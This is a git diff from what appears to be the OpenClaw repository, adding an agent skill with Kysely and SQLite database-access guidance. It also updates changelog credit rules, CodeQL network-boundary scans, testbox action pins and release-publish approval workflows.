crabbox cache stats --id <id-or-slug>
crabbox cache volumes
crabbox ssh --id <id-or-slug>
blacksmith testbox list
```

View File

@@ -0,0 +1,202 @@
---
name: kysely-database-access
description: Use when adding, reviewing, or refactoring OpenClaw Kysely database access, native node:sqlite stores, generated DB types, SQLite schemas, migrations, raw SQL, transactions, or database access best practices.
---
# Kysely Database Access
Use this skill for OpenClaw database code that touches Kysely, `node:sqlite`,
generated DB types, SQLite schemas, migrations, or store/query design.
## Read First
- `docs/concepts/kysely.md` for the repo's Kysely rules and examples.
- The owning subtree `AGENTS.md`, if present.
- Relevant local Kysely source/types under `node_modules/kysely/dist/esm/...`
before assuming dialect behavior, result types, transactions, plugins, or raw
SQL semantics.
- For codegen behavior, inspect `scripts/generate-kysely-types.mjs` and
`kysely-codegen --help` from the repo package manager.
## Official Docs Cross-Check
When the behavior matters, verify against current Kysely docs/source before
patching:
- Generating types: production apps should keep schema types aligned with the
database through code generation.
- Data types: TypeScript types do not affect runtime values; the driver decides
runtime values, and Kysely returns what the driver returns unless a plugin
transforms results.
- Raw SQL: the `sql` tag can execute full raw SQL and embed snippets into
builders. Prefer typed builders/helpers when they express the same thing.
- Reusable helpers: take `Expression<T>` or an `ExpressionBuilder` when wrapping
SQL expressions; alias helper expressions explicitly in `select`. Extract a
helper only when it quarantines raw SQL, removes meaningful duplication, or
preserves a tricky inferred type.
- Split build/execute only at deliberate boundaries. Compiled-query execution
is useful for native sync adapters, but keep plugin/result-transform behavior
in mind.
- Migrations: Kysely migration files run without a schema type. In OpenClaw,
prefer the committed SQL-source-of-truth path unless a new owner explicitly
needs Kysely-managed migrations.
- Plugins: plugins can transform queries and results. Any sync shortcut that
bypasses Kysely's async executor needs a documented invariant or tests.
## Default Workflow
1. Identify the owner boundary:
- Core state DB: `src/state/*`
- Per-agent DB: `src/state/openclaw-agent-*`
- Feature store: owning `*.sqlite.ts` module
- Plugin-owned state: plugin/module owner, not generic core
2. Inspect the schema source first:
- `*.sql` is the source of truth when generated schema/types exist.
- Generated `*.generated.*` files are outputs, not hand-edit targets.
3. Prefer Kysely builders for normal CRUD:
- `selectFrom`, `insertInto`, `updateTable`, `deleteFrom`
- `executeTakeFirst`, `executeTakeFirstOrThrow`, `execute`
- `eb.fn.countAll`, `eb.fn.count`, `eb.fn.coalesce` for common functions
- Keep compile-time Kysely reference literals such as `"host"` and
`"flow_id as flowId"` when they are clearer than constants; they are
type-checked by Kysely.
- Let Kysely infer selected row shapes. Do not pass broad row generics to
sync helpers for normal builder queries.
- Treat `executeSqliteQuerySync<Row>(db, builder)` and
`executeSqliteQueryTakeFirstSync<Row>(db, builder)` as a smell: the generic
can lie about selected columns. Use no generic for builders; use an exact
raw boundary helper for raw SQL.
- For finite public query presets, use a preset-to-row type map plus a union
boundary type instead of `Record<string, ...>`.
- After touching Kysely/native SQLite code, run `pnpm lint:kysely`. The AST
guard rejects raw identifier helpers, unreviewed typed `sql<T>` snippets,
`db.dynamic`, explicit sync-helper row generics for builders, and new raw
`node:sqlite` runtime access outside owner allowlists. It also rejects
persisted enum-like casts in SQLite stores; keep row fields as `string` and
parse through closed validators.
4. Keep raw SQL deliberate:
- Good: pragmas, virtual tables, FTS, SQLite JSON functions, migrations,
`sqlite_master`, compact repeated expressions.
- Bad: raw `COUNT(*)` or dynamic SQL where Kysely has a typed builder shape.
- Use `${value}` parameters; use `sql.ref` / `sql.table` only for validated,
closed-set identifiers.
- Do not feed unconstrained runtime `string` values into table/column/group/
order/identifier positions. Narrow them to local unions or generated table
keys first.
- Prefer `eb.fn`, `eb.lit`, `eb.ref`, and expression callbacks for scalar
SQL such as `count`, `coalesce`, `max`, `exists`, and constant selections.
5. Align TypeScript with real driver values:
- Kysely does not coerce runtime values.
- Native `node:sqlite` returns BLOB columns as `Uint8Array`; convert with
`Buffer.from(...)` only at API boundaries that need Buffer helpers.
- Keep JSON/text/timestamp parsing at module boundaries.
- Keep persisted enum-like strings as `string` in row types, then parse them
through closed validator helpers such as `parseTaskStatus(value)`. Do not
cast corrupt persisted data into exported unions.
6. Decide migration need from shipped state:
- Unshipped schema/type cleanup: no SQLite migration.
- Shipped canonical schema change: add the appropriate migration or
doctor/fix repair path with tests.
- Legacy config repair belongs in doctor/fix paths, not startup surprises.
## Codegen
For committed SQL-backed generated types:
```bash
pnpm db:kysely:gen
pnpm db:kysely:check
```
The repo maps SQLite `blob` to `Uint8Array` through `kysely-codegen`
`--type-mapping`. Do not post-process generated files by hand; change the
generator or SQL source and regenerate.
## Native SQLite Guardrails
- Use `getNodeSqliteKysely(db)` and sync helpers from `src/infra/kysely-sync.ts`
for `DatabaseSync` stores.
- New direct `db.prepare(...)` / `db.exec(...)` runtime access should be rare.
Prefer Kysely or add an explicit `scripts/check-kysely-guardrails.mjs`
allowlist entry with a clear owner reason.
- If raw SQLite is repeated or cast-heavy, extract a narrow boundary helper
such as `assertSqliteIntegrityOk(db, message)` and allowlist that helper
instead of each caller.
- Keep sync helper result types derived from `CompiledQuery<Row>` / Kysely
builders. Explicit helper generics are for raw SQL or external boundaries,
not for widening a typed builder result into a generic record.
- Keep the native dialect in `src/infra/kysely-node-sqlite.ts` aligned with
Kysely's SQLite driver structure: single connection, mutex, SQLite adapter,
SQLite query compiler, SQLite introspector.
- Use `StatementSync.columns().length` behavior for row-returning statements;
do not parse SQL verbs.
- Return `insertId` only for changed Kysely insert nodes. Raw insert SQL and
ignored inserts must not expose stale `lastInsertRowid`.
- Remember that sync execution compiles through Kysely but bypasses async
`executeQuery` result plugins/logging. If plugins enter this path, add tests
or a documented invariant.
## Tests
Pick the smallest proof that covers the touched surface:
```bash
pnpm db:kysely:check
pnpm lint:kysely
pnpm test src/infra/kysely-node-sqlite.test.ts
pnpm test <owning-store>.test.ts
pnpm tsgo:core
```
Add or update focused tests for:
- generated type/runtime mismatches
- native dialect metadata (`insertId`, `numAffectedRows`, row-returning SQL)
- transactions/savepoints
- BLOB and JSON boundary conversions
- schema/codegen drift
- type inference contracts for sync helpers and public query result maps
- negative type contracts with `@ts-expect-error` for important column/preset
mistakes
- corruption-path tests that mutate SQLite directly and assert the public load
or read method rejects invalid persisted strings
- public store behavior, not just private SQL shape
## Helper Extraction
Good helpers:
- `readSqliteNumberPragma(db, pragma)` style helpers with a closed union for
PRAGMA names.
- Raw-expression helpers that accept Kysely expressions/refs instead of raw
column strings.
- Public query preset maps that preserve exact row types at the API boundary.
Avoid helpers that:
- Wrap obvious Kysely literals just to avoid strings.
- Take generic `string` table/column/order names.
- Return heavily generic query builders that are harder to type than the query
they hide.
## Performance
- Benchmark prepare/compile overhead before adding statement caches or compiled
query caches. Include the real public store method work: SQLite execution,
JSON/BLOB conversion, and result mapping.
- Keep caches local, close/dispose them with the owning store, and test invalid
or stale behavior. Clear builders are the default until numbers prove a hot
path.
## Avoid
- Do not introduce ORM/repository layers or hidden relation loading.
- Do not make root dependencies for plugin-only database needs.
- Do not migrate everything to raw SQL or everything to builders for purity.
- Do not hand-edit generated DB types.
- Do not hide finite query result shapes behind `Record<string, ...>` just to
make JSON output convenient; use exact row unions or map at the boundary.
- Do not replace every Kysely string literal with constants for aesthetics; fix
dynamic identifiers, raw SQL assertions, and public result boundaries instead.
- Do not add broad cache layers to hide repeated query/discovery work; carry the
known runtime fact earlier when possible.

View File

@@ -52,17 +52,29 @@ attribution.
- keep `#issue`, `(#PR)`, `Fixes #...`, and `Thanks @...`
- every human-authored merged PR represented by a user-facing entry needs
its PR ref and `Thanks @author`, even when the PR had no linked issue
- every human issue reporter for a `Fixes #...` or referenced bug issue
represented by a user-facing entry needs `Thanks @reporter` unless the
same handle is already thanked in that bullet
- every human `Co-authored-by` contributor on represented user-facing work
needs `Thanks @handle` when a GitHub handle is known
- when grouping multiple PRs/issues in one bullet, include every relevant
PR/issue ref and every human contributor handle in that same bullet
- multiple `Thanks @...` handles in one bullet are expected; do not drop or
collapse contributor credit just because the note is grouped
- if one grouped bullet covers both direct commits and PRs, keep all PR refs
and thanks, plus any issue refs from the direct commits
- before finalizing, audit the final release-note body:
- extract all `#NNN` refs from the notes
- resolve which refs are PRs and collect human PR authors
- resolve issue refs used as bug/report refs and collect human reporters
- scan represented commits for `Co-authored-by`
- compare those handles to the final `Thanks @...` set
- fix every missing human credit or explicitly record why it is omitted
- do not add GHSA references, advisory IDs, or security advisory slugs to
changelog entries or GitHub release-note text unless explicitly requested
- never thank bots, `@openclaw`, `@clawsweeper`, or `@steipete`
- if grouping multiple entries, carry all relevant refs and thanks into the
grouped bullet
- do not use GitHub's release contributor count as the source of truth; the
changelog must carry the complete human credit set itself
7. Sorting preference:
- security/data-loss and content-boundary fixes
- transcript/replay/reply delivery correctness

View File

@@ -6,18 +6,10 @@ class: standard
capacity:
market: spot
strategy: most-available
fallback: on-demand-after-120s
# Fail closed instead of silently falling back to on-demand while the
# Azure-backed billing account is the default runner path.
fallback: spot-only
hints: true
availabilityZones:
- eu-west-1a
- eu-west-1b
- eu-west-1c
regions:
- eu-west-1
- eu-west-2
- eu-central-1
- us-east-1
- us-west-2
actions:
workflow: .github/workflows/crabbox-hydrate.yml
# Default AWS hydration uses local Actions replay. Use
@@ -37,6 +29,8 @@ blacksmith:
job: check
ref: main
aws:
# AWS-specific overrides still pin direct `--provider aws` runs without
# leaking AWS region names into the Azure default capacity fallback list.
region: eu-west-1
rootGB: 400
sync:

View File

@@ -7,8 +7,16 @@ queries:
- uses: ./.github/codeql/openclaw-boundary/queries/managed-proxy-runtime-mutation.ql
paths:
- src
- extensions
- src/cli/gateway-cli/run-loop.ts
- src/infra/gateway-lock.ts
- src/infra/jsonl-socket.ts
- src/infra/net
- src/infra/push-apns-http2.ts
- src/infra/ssh-tunnel.ts
- src/proxy-capture
- extensions/codex-supervisor/src/json-rpc-client.ts
- extensions/irc/src
- extensions/qa-lab/src
- packages/net-policy/src
paths-ignore:

5
.github/labeler.yml vendored
View File

@@ -132,6 +132,11 @@
- any-glob-to-any-file:
- "extensions/slack/**"
- "docs/channels/slack.md"
"channel: sms":
- changed-files:
- any-glob-to-any-file:
- "extensions/sms/**"
- "docs/channels/sms.md"
"channel: synology-chat":
- changed-files:
- any-glob-to-any-file:

View File

@@ -27,7 +27,7 @@ jobs:
timeout-minutes: 35
steps:
- name: Begin Testbox
uses: useblacksmith/begin-testbox@d0e04585c26905fdd92c94a09c159544c7ee1b67
uses: useblacksmith/begin-testbox@233448af4bfdc6fca509a7f0974411ac6d8a8043
with:
testbox_id: ${{ inputs.testbox_id }}
@@ -231,7 +231,7 @@ jobs:
run: bash scripts/ci-hydrate-testbox-env.sh
- name: Run Testbox
uses: useblacksmith/run-testbox@5ca05834db1d3813554d1dd109e5f2087a8d7cbc
uses: useblacksmith/run-testbox@3f60ff9ceb2c10c3feefa87dc0c6490cffae059d
if: success()
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"

View File

@@ -15,6 +15,9 @@ permissions:
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
PNPM_CONFIG_MODULES_DIR: "/tmp/openclaw-pnpm-node-modules"
PNPM_CONFIG_STORE_DIR: "/tmp/openclaw-pnpm-store"
PNPM_CONFIG_VIRTUAL_STORE_DIR: "/tmp/openclaw-pnpm-virtual-store"
jobs:
check:
@@ -26,7 +29,7 @@ jobs:
timeout-minutes: 30
steps:
- name: Begin Testbox
uses: useblacksmith/begin-testbox@d0e04585c26905fdd92c94a09c159544c7ee1b67
uses: useblacksmith/begin-testbox@233448af4bfdc6fca509a7f0974411ac6d8a8043
with:
testbox_id: ${{ inputs.testbox_id }}
- name: Checkout
@@ -133,7 +136,7 @@ jobs:
run: bash scripts/ci-hydrate-testbox-env.sh
- name: Run Testbox
uses: useblacksmith/run-testbox@5ca05834db1d3813554d1dd109e5f2087a8d7cbc
uses: useblacksmith/run-testbox@3f60ff9ceb2c10c3feefa87dc0c6490cffae059d
if: success()
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"

View File

@@ -601,7 +601,7 @@ jobs:
uses: actions/cache@v5
with:
path: .artifacts/build-all-cache
key: ${{ runner.os }}-build-all-v3-${{ hashFiles('package.json', 'pnpm-lock.yaml', 'npm-shrinkwrap.json', 'packages/plugin-sdk/package.json', 'packages/llm-core/package.json', 'packages/memory-host-sdk/package.json', 'scripts/build-all.mjs', 'scripts/write-plugin-sdk-entry-dts.ts', 'scripts/lib/plugin-sdk-entries.mjs', 'tsconfig.json', 'tsconfig.plugin-sdk.dts.json', 'src/plugin-sdk/**', 'packages/llm-core/src/**', 'packages/memory-host-sdk/src/**', 'src/types/**', 'src/video-generation/dashscope-compatible.ts', 'src/video-generation/types.ts', 'scripts/copy-export-html-templates.ts', 'scripts/lib/copy-assets.ts', 'src/auto-reply/reply/export-html/**') }}
key: ${{ runner.os }}-build-all-v3-${{ hashFiles('package.json', 'pnpm-lock.yaml', 'npm-shrinkwrap.json', 'packages/plugin-sdk/package.json', 'packages/llm-core/package.json', 'packages/model-catalog-core/package.json', 'packages/memory-host-sdk/package.json', 'scripts/build-all.mjs', 'scripts/write-plugin-sdk-entry-dts.ts', 'scripts/lib/plugin-sdk-entries.mjs', 'tsconfig.json', 'tsconfig.plugin-sdk.dts.json', 'src/plugin-sdk/**', 'packages/llm-core/src/**', 'packages/model-catalog-core/src/**', 'packages/memory-host-sdk/src/**', 'src/types/**', 'src/video-generation/dashscope-compatible.ts', 'src/video-generation/types.ts', 'scripts/copy-export-html-templates.ts', 'scripts/lib/copy-assets.ts', 'src/auto-reply/reply/export-html/**') }}
restore-keys: |
${{ runner.os }}-build-all-v3-
@@ -834,10 +834,10 @@ jobs:
;;
contracts-plugins-ci-routing)
pnpm test:contracts:plugins
pnpm test src/commands/status.scan-result.test.ts src/scripts/ci-changed-scope.test.ts test/scripts/test-projects.test.ts
pnpm test src/commands/status.scan-result.test.ts src/scripts/ci-changed-scope.test.ts test/scripts/changed-lanes.test.ts test/scripts/run-vitest.test.ts test/scripts/test-projects.test.ts
;;
ci-routing)
pnpm test src/commands/status.scan-result.test.ts src/scripts/ci-changed-scope.test.ts test/scripts/test-projects.test.ts
pnpm test src/commands/status.scan-result.test.ts src/scripts/ci-changed-scope.test.ts test/scripts/changed-lanes.test.ts test/scripts/run-vitest.test.ts test/scripts/test-projects.test.ts
;;
bun-launcher)
OPENCLAW_TEST_BUN_LAUNCHER=1 pnpm test test/openclaw-launcher.e2e.test.ts
@@ -1079,7 +1079,6 @@ jobs:
node openclaw.mjs --help
node openclaw.mjs status --json --timeout 1
pnpm test:build:singleton
checks-node-core-test-nondist-shard:
permissions:
contents: read
@@ -1151,6 +1150,7 @@ jobs:
OPENCLAW_NODE_TEST_CONFIGS_JSON: ${{ toJson(matrix.configs) }}
OPENCLAW_NODE_TEST_INCLUDE_PATTERNS_JSON: ${{ toJson(matrix.includePatterns) }}
OPENCLAW_VITEST_SHARD_NAME: ${{ matrix.shard_name }}
OPENCLAW_VITEST_NO_OUTPUT_TIMEOUT_MS: "900000"
OPENCLAW_TEST_PROJECTS_PARALLEL: "2"
shell: bash
run: |
@@ -1403,7 +1403,7 @@ jobs:
packages/plugin-sdk/dist
extensions/*/dist/.boundary-tsc.tsbuildinfo
extensions/*/dist/.boundary-tsc.stamp
key: ${{ runner.os }}-extension-package-boundary-v1-${{ hashFiles('tsconfig.json', 'tsconfig.plugin-sdk.dts.json', 'packages/plugin-sdk/tsconfig.json', 'packages/llm-core/package.json', 'scripts/check-extension-package-tsc-boundary.mjs', 'scripts/prepare-extension-package-boundary-artifacts.mjs', 'scripts/write-plugin-sdk-entry-dts.ts', 'scripts/lib/plugin-sdk-entrypoints.json', 'scripts/lib/plugin-sdk-entries.mjs', 'src/plugin-sdk/**', 'src/auto-reply/**', 'packages/llm-core/src/**', 'src/video-generation/dashscope-compatible.ts', 'src/video-generation/types.ts', 'src/types/**', 'extensions/**', 'extensions/tsconfig.package-boundary*.json', 'package.json', 'pnpm-lock.yaml') }}
key: ${{ runner.os }}-extension-package-boundary-v1-${{ hashFiles('tsconfig.json', 'tsconfig.plugin-sdk.dts.json', 'packages/plugin-sdk/tsconfig.json', 'packages/llm-core/package.json', 'packages/model-catalog-core/package.json', 'scripts/check-extension-package-tsc-boundary.mjs', 'scripts/prepare-extension-package-boundary-artifacts.mjs', 'scripts/write-plugin-sdk-entry-dts.ts', 'scripts/lib/plugin-sdk-entrypoints.json', 'scripts/lib/plugin-sdk-entries.mjs', 'src/plugin-sdk/**', 'src/auto-reply/**', 'packages/llm-core/src/**', 'packages/model-catalog-core/src/**', 'src/video-generation/dashscope-compatible.ts', 'src/video-generation/types.ts', 'src/types/**', 'extensions/**', 'extensions/tsconfig.package-boundary*.json', 'package.json', 'pnpm-lock.yaml') }}
restore-keys: |
${{ runner.os }}-extension-package-boundary-v1-
@@ -1420,14 +1420,22 @@ jobs:
find src \
-type f \( -name '*.ts' -o -name '*.tsx' -o -name '*.mts' -o -name '*.cts' -o -name '*.js' -o -name '*.mjs' -o -name '*.json' \) \
-exec touch -t 200001010000 {} +
find packages/llm-core/src \
-type f \( -name '*.ts' -o -name '*.tsx' -o -name '*.mts' -o -name '*.cts' -o -name '*.js' -o -name '*.mjs' -o -name '*.json' \) \
-exec touch -t 200001010000 {} +
touch -t 200001010000 \
if [ -d packages/llm-core/src ]; then
find packages/llm-core/src \
-type f \( -name '*.ts' -o -name '*.tsx' -o -name '*.mts' -o -name '*.cts' -o -name '*.js' -o -name '*.mjs' -o -name '*.json' \) \
-exec touch -t 200001010000 {} +
fi
if [ -d packages/model-catalog-core/src ]; then
find packages/model-catalog-core/src \
-type f \( -name '*.ts' -o -name '*.tsx' -o -name '*.mts' -o -name '*.cts' -o -name '*.js' -o -name '*.mjs' -o -name '*.json' \) \
-exec touch -t 200001010000 {} +
fi
cache_inputs=(
tsconfig.json \
tsconfig.plugin-sdk.dts.json \
packages/plugin-sdk/tsconfig.json \
packages/llm-core/package.json \
packages/model-catalog-core/package.json \
scripts/check-extension-package-tsc-boundary.mjs \
scripts/prepare-extension-package-boundary-artifacts.mjs \
scripts/write-plugin-sdk-entry-dts.ts \
@@ -1435,6 +1443,12 @@ jobs:
scripts/lib/plugin-sdk-entries.mjs \
package.json \
pnpm-lock.yaml
)
for cache_input in "${cache_inputs[@]}"; do
if [ -e "$cache_input" ]; then
touch -t 200001010000 "$cache_input"
fi
done
- name: Run additional check shard
env:
@@ -1957,6 +1971,21 @@ jobs:
done
exit 1
- name: OpenClawKit Talk-trait opt-out (no ElevenLabsKit when default traits disabled)
run: |
set -euo pipefail
# Guard: chat-only consumers build OpenClawKit with the Talk trait
# disabled and must NOT link ElevenLabsKit. Assert that future sources
# under OpenClawKit cannot silently reintroduce an unconditional
# ElevenLabsKit dependency while the manifest still looks correct.
deps="$(swift package --package-path apps/shared/OpenClawKit show-dependencies --disable-default-traits)"
echo "$deps"
if grep -qi 'elevenlabs' <<<"$deps"; then
echo "::error::ElevenLabsKit resolved with the Talk trait disabled; keep it gated behind the Talk trait."
exit 1
fi
swift build --package-path apps/shared/OpenClawKit --target OpenClawKit --disable-default-traits
- name: Swift test
run: |
set -euo pipefail

View File

@@ -210,6 +210,9 @@ jobs:
else
while IFS= read -r file; do
case "${file}" in
.github/codeql/codeql-network-runtime-boundary-critical-quality.yml|.github/codeql/openclaw-boundary/queries/raw-socket-callsite-classification.ql|.github/codeql/openclaw-boundary/queries/managed-proxy-runtime-mutation.ql)
network_runtime=true
;;
.github/codeql/*|.github/workflows/codeql-critical-quality.yml)
agent=true
channel=true
@@ -222,7 +225,6 @@ jobs:
plugin_sdk_package=true
plugin_sdk_reply=true
provider=true
network_runtime=true
session_diagnostics=true
;;
src/agents/sessions/tools/*)
@@ -302,7 +304,9 @@ jobs:
esac
case "${file}" in
src/*.ts|src/**/*.ts|extensions/*.ts|extensions/**/*.ts|packages/net-policy/src/*|packages/net-policy/src/**/*)
src/**/*.test.ts|src/**/*.test.tsx|extensions/**/*.test.ts|extensions/**/*.test.tsx)
;;
packages/net-policy/src/*|packages/net-policy/src/**/*|src/cli/gateway-cli/run-loop.ts|src/infra/net/*|src/infra/net/**/*|src/infra/ssh-tunnel.ts|src/infra/gateway-lock.ts|src/infra/jsonl-socket.ts|src/infra/push-apns-http2.ts|src/proxy-capture/*|src/proxy-capture/**/*|extensions/codex-supervisor/src/json-rpc-client.ts|extensions/irc/src/*|extensions/qa-lab/src/*)
network_runtime=true
;;
esac
@@ -429,7 +433,33 @@ jobs:
with:
submodules: false
- name: Fast PR network boundary diff scan
if: ${{ github.event_name == 'pull_request' }}
env:
GH_TOKEN: ${{ github.token }}
PR_NUMBER: ${{ github.event.pull_request.number }}
REPOSITORY: ${{ github.repository }}
run: |
set -euo pipefail
added_lines="$(mktemp)"
gh api --paginate "repos/${REPOSITORY}/pulls/${PR_NUMBER}/files" --jq '
.[]
| select(.filename | test("^(src/cli/gateway-cli/run-loop\\.ts|src/infra/(gateway-lock|jsonl-socket|push-apns-http2|ssh-tunnel)\\.ts|src/infra/net/|src/proxy-capture/|extensions/codex-supervisor/src/json-rpc-client\\.ts|extensions/irc/src/|extensions/qa-lab/src/|packages/net-policy/src/)"))
| .filename as $file
| (.patch // "")
| split("\n")[]
| select(startswith("+") and (startswith("+++") | not))
| "\($file): \(.)"
' > "$added_lines"
if grep -En '(from|require\().*["'\''](node:)?(net|tls|http2)["'\'']|\b(net|tls|http2)\.(connect|createConnection)\b|new Socket\(|HTTP_PROXY|HTTPS_PROXY|NO_PROXY|GLOBAL_AGENT_|OPENCLAW_PROXY_' "$added_lines"; then
echo "Network runtime boundary-sensitive added lines require full CodeQL review." >&2
exit 1
fi
- name: Initialize CodeQL
if: ${{ github.event_name != 'pull_request' }}
uses: github/codeql-action/init@95e58e9a2cdfd71adc6e0353d5c52f41a045d225 # v4
with:
languages: javascript-typescript
@@ -437,12 +467,14 @@ jobs:
- name: Analyze
id: analyze
if: ${{ github.event_name != 'pull_request' }}
uses: github/codeql-action/analyze@95e58e9a2cdfd71adc6e0353d5c52f41a045d225 # v4
with:
output: sarif-results
category: "/codeql-critical-quality/network-runtime-boundary"
- name: Fail on network runtime boundary findings
if: ${{ github.event_name != 'pull_request' }}
env:
SARIF_OUTPUT: sarif-results
run: |

View File

@@ -43,7 +43,7 @@ jobs:
if: env.OPENCLAW_DOCS_SYNC_TOKEN != ''
uses: actions/setup-node@v6
with:
node-version: "24.x"
node-version: "22.19.0"
- name: Clone publish repo
if: env.OPENCLAW_DOCS_SYNC_TOKEN != ''

View File

@@ -115,6 +115,7 @@ jobs:
issue_number: pullRequest.number,
per_page: 100,
});
const labelNames = new Set(currentLabels.map((label) => label.name ?? ""));
for (const label of currentLabels) {
const name = label.name ?? "";
@@ -130,14 +131,17 @@ jobs:
issue_number: pullRequest.number,
name,
});
labelNames.delete(name);
}
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
labels: [targetSizeLabel],
});
if (!labelNames.has(targetSizeLabel)) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
labels: [targetSizeLabel],
});
}
- name: Apply maintainer or trusted-contributor label
uses: actions/github-script@v9
with:

View File

@@ -372,6 +372,11 @@ jobs:
actions: read
contents: read
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Require trusted workflow ref for publish
env:
RELEASE_TAG: ${{ inputs.tag }}
@@ -429,12 +434,13 @@ jobs:
echo "Direct OpenClaw npm publish; relying on this workflow's npm-release environment approval."
exit 0
fi
direct_recovery=false
if [[ "${GITHUB_ACTOR}" != "github-actions[bot]" ]]; then
echo "OpenClaw npm publish must be dispatched by the OpenClaw Release Publish workflow, not directly by ${GITHUB_ACTOR}." >&2
exit 1
direct_recovery=true
echo "Direct OpenClaw npm recovery with release_publish_run_id; relying on this workflow's npm-release environment approval."
fi
RUN_JSON="$(gh run view "$RELEASE_PUBLISH_RUN_ID" --repo "$GITHUB_REPOSITORY" --json workflowName,headBranch,event,status,conclusion,url)"
printf '%s' "$RUN_JSON" | node -e 'const fs = require("node:fs"); const run = JSON.parse(fs.readFileSync(0, "utf8")); const checks = [["workflowName", "OpenClaw Release Publish"], ["headBranch", process.env.EXPECTED_WORKFLOW_BRANCH], ["event", "workflow_dispatch"]]; for (const [key, expected] of checks) { if (run[key] !== expected) { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} must have ${key}=${expected}, got ${run[key] ?? "<missing>"}.`); process.exit(1); } } if (run.status !== "in_progress") { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} must still be in_progress, got ${run.status ?? "<missing>"}.`); process.exit(1); } if (run.conclusion) { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} already concluded ${run.conclusion}.`); process.exit(1); } console.log(`Using release publish approval run ${process.env.RELEASE_PUBLISH_RUN_ID}: ${run.url}`);'
printf '%s' "$RUN_JSON" | DIRECT_RELEASE_RECOVERY="${direct_recovery}" node scripts/validate-release-publish-approval.mjs
publish_openclaw_npm:
# KEEP THE REAL RELEASE/PUBLISH PATH ON A GITHUB-HOSTED RUNNER.

View File

@@ -207,6 +207,11 @@ jobs:
actions: read
contents: read
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Validate release publish approval run
env:
GH_TOKEN: ${{ github.token }}
@@ -222,12 +227,13 @@ jobs:
echo "Direct Plugin ClawHub Release dispatch; relying on this workflow's clawhub-plugin-release environment approval."
exit 0
fi
direct_recovery=false
if [[ "${GITHUB_ACTOR}" != "github-actions[bot]" ]]; then
echo "Plugin ClawHub publish must be dispatched by the OpenClaw Release Publish workflow, not directly by ${GITHUB_ACTOR}." >&2
exit 1
direct_recovery=true
echo "Direct Plugin ClawHub Release recovery with release_publish_run_id; relying on this workflow's clawhub-plugin-release environment approval."
fi
RUN_JSON="$(gh run view "$RELEASE_PUBLISH_RUN_ID" --repo "$GITHUB_REPOSITORY" --json workflowName,headBranch,event,status,conclusion,url)"
printf '%s' "$RUN_JSON" | node -e 'const fs = require("node:fs"); const run = JSON.parse(fs.readFileSync(0, "utf8")); const checks = [["workflowName", "OpenClaw Release Publish"], ["headBranch", process.env.EXPECTED_WORKFLOW_BRANCH], ["event", "workflow_dispatch"]]; for (const [key, expected] of checks) { if (run[key] !== expected) { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} must have ${key}=${expected}, got ${run[key] ?? "<missing>"}.`); process.exit(1); } } if (run.status !== "in_progress") { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} must still be in_progress, got ${run.status ?? "<missing>"}.`); process.exit(1); } if (run.conclusion) { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} already concluded ${run.conclusion}.`); process.exit(1); } console.log(`Using release publish approval run ${process.env.RELEASE_PUBLISH_RUN_ID}: ${run.url}`);'
printf '%s' "$RUN_JSON" | DIRECT_RELEASE_RECOVERY="${direct_recovery}" node scripts/validate-release-publish-approval.mjs
preview_plugin_pack:
needs: preview_plugins_clawhub

View File

@@ -184,6 +184,11 @@ jobs:
actions: read
contents: read
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Validate release publish approval run
env:
GH_TOKEN: ${{ github.token }}
@@ -199,12 +204,13 @@ jobs:
echo "Direct Plugin NPM Release dispatch; relying on this workflow's npm-release environment approval."
exit 0
fi
direct_recovery=false
if [[ "${GITHUB_ACTOR}" != "github-actions[bot]" ]]; then
echo "Plugin npm publish must be dispatched by the OpenClaw Release Publish workflow, not directly by ${GITHUB_ACTOR}." >&2
exit 1
direct_recovery=true
echo "Direct Plugin NPM Release recovery with release_publish_run_id; relying on this workflow's npm-release environment approval."
fi
RUN_JSON="$(gh run view "$RELEASE_PUBLISH_RUN_ID" --repo "$GITHUB_REPOSITORY" --json workflowName,headBranch,event,status,conclusion,url)"
printf '%s' "$RUN_JSON" | node -e 'const fs = require("node:fs"); const run = JSON.parse(fs.readFileSync(0, "utf8")); const checks = [["workflowName", "OpenClaw Release Publish"], ["headBranch", process.env.EXPECTED_WORKFLOW_BRANCH], ["event", "workflow_dispatch"]]; for (const [key, expected] of checks) { if (run[key] !== expected) { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} must have ${key}=${expected}, got ${run[key] ?? "<missing>"}.`); process.exit(1); } } if (run.status !== "in_progress") { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} must still be in_progress, got ${run.status ?? "<missing>"}.`); process.exit(1); } if (run.conclusion) { console.error(`Referenced release publish run ${process.env.RELEASE_PUBLISH_RUN_ID} already concluded ${run.conclusion}.`); process.exit(1); } console.log(`Using release publish approval run ${process.env.RELEASE_PUBLISH_RUN_ID}: ${run.url}`);'
printf '%s' "$RUN_JSON" | DIRECT_RELEASE_RECOVERY="${direct_recovery}" node scripts/validate-release-publish-approval.mjs
preview_plugin_pack:
needs: preview_plugins_npm

View File

@@ -197,4 +197,4 @@ jobs:
- name: Testbox action marker
if: ${{ false }}
uses: useblacksmith/run-testbox@5ca05834db1d3813554d1dd109e5f2087a8d7cbc
uses: useblacksmith/run-testbox@3f60ff9ceb2c10c3feefa87dc0c6490cffae059d

11
.gitignore vendored
View File

@@ -59,6 +59,8 @@ apps/ios/.swiftpm/
apps/ios/.derivedData/
apps/ios/.local-signing.xcconfig
vendor/
!src/auto-reply/reply/export-html/vendor/
!src/auto-reply/reply/export-html/vendor/**
apps/ios/Clawdbot.xcodeproj/
apps/ios/Clawdbot.xcodeproj/**
apps/macos/.build/**
@@ -101,9 +103,13 @@ USER.md
